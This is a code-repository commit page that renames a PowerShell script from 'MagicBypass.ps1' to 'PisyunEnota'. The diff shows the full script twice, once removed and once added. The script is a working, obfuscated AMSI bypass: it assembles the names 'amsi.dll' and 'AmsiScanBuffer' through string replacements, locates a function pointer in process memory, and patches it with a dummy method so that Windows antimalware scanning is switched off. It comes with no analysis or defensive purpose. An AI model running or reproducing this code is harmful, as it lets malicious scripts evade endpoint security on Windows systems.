enotkrutoy commited on
Commit
1857f39
·
verified ·
1 Parent(s): 9006553

Rename MagicBypass.ps1 to PisyunEnota

Browse files
Files changed (2) hide show
  1. MagicBypass.ps1 +0 -3
  2. PisyunEnota +134 -0
MagicBypass.ps1 DELETED
@@ -1,3 +0,0 @@
1
- function MagicBypass {param($InitialStart=0x50000,$NegativeOffset=0x50000,$MaxOffset=0x1000000,$ReadBytes=0x50000);$APIs = @"
2
- using System;using System.ComponentModel;using System.Management.Automation;using System.Reflection;using System.Runtime.CompilerServices;using System.Runtime.InteropServices;using System.Text;public class APIs {[DllImport("kernel32.dll")]public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesRead);[DllImport("kernel32.dll")]public static extern IntPtr GetCurrentProcess();[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);[DllImport("kernel32.dll", CharSet=CharSet.Auto)]public static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.LPWStr)] string lpModuleName);[MethodImpl(MethodImplOptions.NoOptimization|MethodImplOptions.NoInlining)]public static int Dummy(){return 1;}}
3
- "@;Add-Type $APIs;$InitialDate=Get-Date;$string='hello, world';$string=$string.replace('he','a');$string=$string.replace('ll','m');$string=$string.replace('o,','s');$string=$string.replace(' ','i');$string=$string.replace('wo','.d');$string=$string.replace('rld','ll');$string2='hello, world';$string2=$string2.replace('he','A');$string2=$string2.replace('ll','m');$string2=$string2.replace('o,','s');$string2=$string2.replace(' ','i');$string2=$string2.replace('wo','Sc');$string2=$string2.replace('rld','an');$string3='hello, world';$string3=$string3.replace('hello','Bu');$string3=$string3.replace(', ','ff');$string3=$string3.replace('world','er');$Address=[APIS]::GetModuleHandle($string);[IntPtr]$funcAddr=[APIS]::GetProcAddress($Address,$string2+$string3);$Assemblies=[appdomain]::currentdomain.getassemblies();$Assemblies | ForEach-Object {if($_.Location -ne $null){$split1=$_.FullName.Split(",")[0];If($split1.StartsWith('S') -And $split1.EndsWith('n') -And $split1.Length -eq 28) {$Types=$_.GetTypes()}}};$Types | ForEach-Object {if($_.Name -ne $null){If($_.Name.StartsWith('A') -And $_.Name.EndsWith('s') -And $_.Name.Length -eq 9) {$Methods=$_.GetMethods([System.Reflection.BindingFlags]'Static,NonPublic')}}};$Methods | ForEach-Object {if($_.Name -ne $null){If($_.Name.StartsWith('S') -And $_.Name.EndsWith('t') -And $_.Name.Length -eq 11) {$MethodFound=$_}}};[IntPtr]$MethodPointer=$MethodFound.MethodHandle.GetFunctionPointer();[IntPtr]$Handle=[APIs]::GetCurrentProcess();$dummy=0;$ApiReturn=$false;:initialloop for($j=$InitialStart;$j -lt $MaxOffset;$j += $NegativeOffset){[IntPtr]$MethodPointerToSearch=[Int64]$MethodPointer-$j;$ReadedMemoryArray=[byte[]]::new($ReadBytes);$ApiReturn=[APIs]::ReadProcessMemory($Handle,$MethodPointerToSearch,$ReadedMemoryArray,$ReadBytes,[ref]$dummy);for($i=0;$i -lt $ReadedMemoryArray.Length;$i += 1){$bytes=[byte[]]($ReadedMemoryArray[$i],$ReadedMemoryArray[$i+1],$ReadedMemoryArray[$i+2],$ReadedMemoryArray[$i+3],$ReadedMemoryArray[$i+4],$ReadedMemoryArray[$i+5],$ReadedMemoryArray[$i+6],$ReadedMemoryArray[$i+7]);[IntPtr]$PointerToCompare=[bitconverter]::ToInt64($bytes,0);if($PointerToCompare -eq $funcAddr){Write-Host "Found @ $($j) : $($i)!";[IntPtr]$MemoryToPatch=[Int64]$MethodPointerToSearch+$i;break initialloop}}};[IntPtr]$DummyPointer=[APIs].GetMethod('Dummy').MethodHandle.GetFunctionPointer();$buf=[IntPtr[]]($DummyPointer);[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$MemoryToPatch,1);$FinishDate=Get-Date;$TimeElapsed=($FinishDate-$InitialDate).TotalSeconds;Write-Host "$TimeElapsed seconds"};MagicBypass
 
 
 
 
PisyunEnota ADDED
@@ -0,0 +1,134 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ function PisyunEnota {
2
+
3
+ param(
4
+ $InitialStart = 0x50000,
5
+ $NegativeOffset= 0x50000,
6
+ $MaxOffset = 0x1000000,
7
+ $ReadBytes = 0x50000
8
+ )
9
+
10
+ $APIs = @"
11
+ using System;
12
+ using System.ComponentModel;
13
+ using System.Management.Automation;
14
+ using System.Reflection;
15
+ using System.Runtime.CompilerServices;
16
+ using System.Runtime.InteropServices;
17
+ using System.Text;
18
+
19
+
20
+
21
+ public class APIs {
22
+ [DllImport("kernel32.dll")]
23
+ public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesRead);
24
+
25
+ [DllImport("kernel32.dll")]
26
+ public static extern IntPtr GetCurrentProcess();
27
+
28
+ [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
29
+ public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
30
+
31
+ [DllImport("kernel32.dll", CharSet=CharSet.Auto)]
32
+ public static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.LPWStr)] string lpModuleName);
33
+
34
+ [MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]
35
+ public static int Dummy() {
36
+ return 1;
37
+ }
38
+ }
39
+
40
+ "@
41
+
42
+ Add-Type $APIs
43
+
44
+ $InitialDate=Get-Date;
45
+
46
+ $string = 'hello, world'
47
+ $string = $string.replace('he','a')
48
+ $string = $string.replace('ll','m')
49
+ $string = $string.replace('o,','s')
50
+
51
+ $string = $string.replace(' ','i')
52
+ $string = $string.replace('wo','.d')
53
+ $string = $string.replace('rld','ll')
54
+
55
+ $string2 = 'hello, world'
56
+ $string2 = $string2.replace('he','A')
57
+ $string2 = $string2.replace('ll','m')
58
+
59
+
60
+ $string2 = $string2.replace('o,','s')
61
+ $string2 = $string2.replace(' ','i')
62
+ $string2 = $string2.replace('wo','Sc')
63
+ $string2 = $string2.replace('rld','an')
64
+
65
+ $string3 = 'hello, world'
66
+
67
+
68
+
69
+ $string3 = $string3.replace('hello','Bu')
70
+ $string3 = $string3.replace(', ','ff')
71
+ $string3 = $string3.replace('world','er')
72
+
73
+ $Address = [APIS]::GetModuleHandle($string)
74
+ [IntPtr] $funcAddr = [APIS]::GetProcAddress($Address, $string2 + $string3)
75
+
76
+ $Assemblies = [appdomain]::currentdomain.getassemblies()
77
+ $Assemblies |
78
+ ForEach-Object {
79
+ if($_.Location -ne $null){
80
+ $split1 = $_.FullName.Split(",")[0]
81
+ If($split1.StartsWith('S') -And $split1.EndsWith('n') -And $split1.Length -eq 28) {
82
+ $Types = $_.GetTypes()
83
+ }
84
+ }
85
+ }
86
+
87
+ $Types |
88
+ ForEach-Object {
89
+ if($_.Name -ne $null){
90
+ If($_.Name.StartsWith('A') -And $_.Name.EndsWith('s') -And $_.Name.Length -eq 9) {
91
+ $Methods = $_.GetMethods([System.Reflection.BindingFlags]'Static,NonPublic')
92
+ }
93
+ }
94
+ }
95
+
96
+ $Methods |
97
+ ForEach-Object {
98
+ if($_.Name -ne $null){
99
+ If($_.Name.StartsWith('S') -And $_.Name.EndsWith('t') -And $_.Name.Length -eq 11) {
100
+ $MethodFound = $_
101
+ }
102
+ }
103
+ }
104
+
105
+ [IntPtr] $MethodPointer = $MethodFound.MethodHandle.GetFunctionPointer()
106
+ [IntPtr] $Handle = [APIs]::GetCurrentProcess()
107
+
108
+ $dummy = 0
109
+ $ApiReturn = $false
110
+
111
+ :initialloop for($j = $InitialStart; $j -lt $MaxOffset; $j += $NegativeOffset){
112
+ [IntPtr] $MethodPointerToSearch = [Int64] $MethodPointer - $j
113
+ $ReadedMemoryArray = [byte[]]::new($ReadBytes)
114
+ $ApiReturn = [APIs]::ReadProcessMemory($Handle, $MethodPointerToSearch, $ReadedMemoryArray, $ReadBytes,[ref]$dummy)
115
+ for ($i = 0; $i -lt $ReadedMemoryArray.Length; $i += 1) {
116
+ $bytes = [byte[]]($ReadedMemoryArray[$i], $ReadedMemoryArray[$i + 1], $ReadedMemoryArray[$i + 2], $ReadedMemoryArray[$i + 3], $ReadedMemoryArray[$i + 4], $ReadedMemoryArray[$i + 5], $ReadedMemoryArray[$i + 6], $ReadedMemoryArray[$i + 7])
117
+ [IntPtr] $PointerToCompare = [bitconverter]::ToInt64($bytes,0)
118
+ if ($PointerToCompare -eq $funcAddr) {
119
+ Write-Host "Found @ $($i)!"
120
+ [IntPtr] $MemoryToPatch = [Int64] $MethodPointerToSearch + $i
121
+ break initialloop
122
+ }
123
+ }
124
+
125
+ }
126
+ [IntPtr] $DummyPointer = [APIs].GetMethod('Dummy').MethodHandle.GetFunctionPointer()
127
+ $buf = [IntPtr[]] ($DummyPointer)
128
+
129
+ [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $MemoryToPatch, 1)
130
+
131
+ $FinishDate=Get-Date;
132
+ $TimeElapsed = ($FinishDate - $InitialDate).TotalSeconds;
133
+ Write-Host "oke: $TimeElapsed seconds"
134
+ }